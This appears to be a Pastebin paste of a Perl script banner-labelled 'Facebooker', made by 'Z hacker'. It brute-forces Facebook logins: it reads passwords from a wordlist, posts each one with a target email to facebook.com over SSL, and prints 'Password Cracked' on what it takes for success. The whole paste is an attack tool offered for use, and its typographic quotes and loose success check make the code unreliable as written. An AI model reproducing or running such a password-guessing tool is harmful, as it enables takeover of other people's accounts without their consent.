Advertisement
Guest User

Untitled

a guest
Jul 4th, 2018
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.97 KB | None | 0 0
  1. and the script:
  2.  
  3. #!/usr/bin/perl
  4. #
  5.  
  6. use strict;
  7. use Net::SSLeay::Handle;
  8.  
  9. if(!defined($ARGV[0] && $ARGV[1])) {
  10.  
  11. system(‘clear’);
  12. print ” Version 2.32 \n”;
  13. print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
  14. print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
  15. print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
  16. print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
  17. print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
  18. print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;
  19.  
  20. print “\033[1;31m ======================================================\n”;
  21. print “\033[1;37m Usage: perl $0 Email wordlist.txt\n\n\n\n\n\n\n\n\n”;
  22. print “\033[1;31m ======================================================\n”;
  23. print “\n”;
  24. print “\n”;
  25. print “\n”;
  26. print “\n”;
  27. print “\n”;
  28. print “\n”;
  29. exit; }
  30.  
  31. my $user = $ARGV[0];
  32. my $wordlist = $ARGV[1];
  33.  
  34. open (LIST, $wordlist) || die “\n[-] Can’t find/open $wordlist\n”;
  35.  
  36.  
  37.  
  38. print ” Version 2.32 \n”;
  39. print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
  40. print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
  41. print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
  42. print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
  43. print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
  44. print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;
  45.  
  46. print “\033[1;31m ======================================================\n”;
  47. print “\033[1;33m made by [[Z hacker]] \n”;
  48. print “\033[1;31m ========================================================\n”;
  49.  
  50. print “\033[1;39m\n [+] Cracking Started on: $user …\n\n”;
  51. print “=======================================\n”;
  52.  
  53. while (my $password = <LIST>) {
  54. chomp ($password);
  55. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf “%%%0x”, ord $1 /eg;
  56.  
  57. my $a = “POST /login.php HTTP/1.1”;
  58. my $b = “Host: http://www.facebook.com”;
  59. my $c = “Connection: close”;
  60. my $e = “Cache-Control: max-age=0”;
  61. my $f = “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”;
  62. my $g = “Origin: https://www.facebook.com&#8221;;
  63. my $h = “User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31”;
  64. my $i = “Content-Type: application/x-www-form-urlencoded”;
  65. my $j = “Accept-Encoding: gzip,deflate,sdch”;
  66. my $k = “Accept-Language: en-US,en;q=0.8”;
  67. my $l = “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3”;
  68.  
  69. my $cookie = “cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa”;
  70. my $post = “lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In”;
  71. my $cl = length($post);
  72. my $d = “Content-Length: $cl”;
  73.  
  74.  
  75.  
  76. my ($host, $port) = (“www.facebook.com”, 443);
  77.  
  78. tie(*SSL, “Net::SSLeay::Handle”, $host, $port);
  79.  
  80. print SSL “$a\n”;
  81. print SSL “$b\n”;
  82. print SSL “$c\n”;
  83. print SSL “$d\n”;
  84. print SSL “$e\n”;
  85. print SSL “$f\n”;
  86. print SSL “$g\n”;
  87. print SSL “$h\n”;
  88. print SSL “$i\n”;
  89. print SSL “$j\n”;
  90. print SSL “$k\n”;
  91. print SSL “$l\n”;
  92. print SSL “$cookie\n\n”;
  93.  
  94. print SSL “$post\n”;
  95.  
  96. my $success;
  97. while(my $result = <SSL>){
  98. if($result =~ /Location(.*?)/){
  99. $success = $1;
  100. }
  101. }
  102. if (!defined $success)
  103. {
  104. print “\033[1;31m[-] $password -> Failed \n”;
  105. close SSL;
  106. }
  107. else
  108. {
  109. print “\033[1;32m\n########################################################\n”;
  110. print “[+] \033[1;32mPassword Cracked: $password\n”;
  111. print “\033[1;32m########################################################\n\n”;
  112. close SSL;
  113. exit;
  114. }
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement